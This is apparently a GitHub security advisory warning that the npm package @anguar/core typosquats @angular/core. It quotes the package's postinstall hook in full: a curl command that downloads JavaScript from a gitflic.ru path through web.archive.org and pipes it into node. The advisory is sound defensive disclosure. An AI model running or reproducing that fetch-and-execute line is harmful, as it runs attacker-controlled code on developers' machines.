@anguar/core

GHSA-pjc3-f292-727c

Malicious code in @anguar/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb)
Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@anguar/core/MAL-2026-17535.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@anguar/core/MAL-2026-17535.json
- https://www.npmjs.com/package/@anguar/core/v/22.2.1
- https://github.com/advisories/GHSA-pjc3-f292-727c

Compromised versions (1)

= 22.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.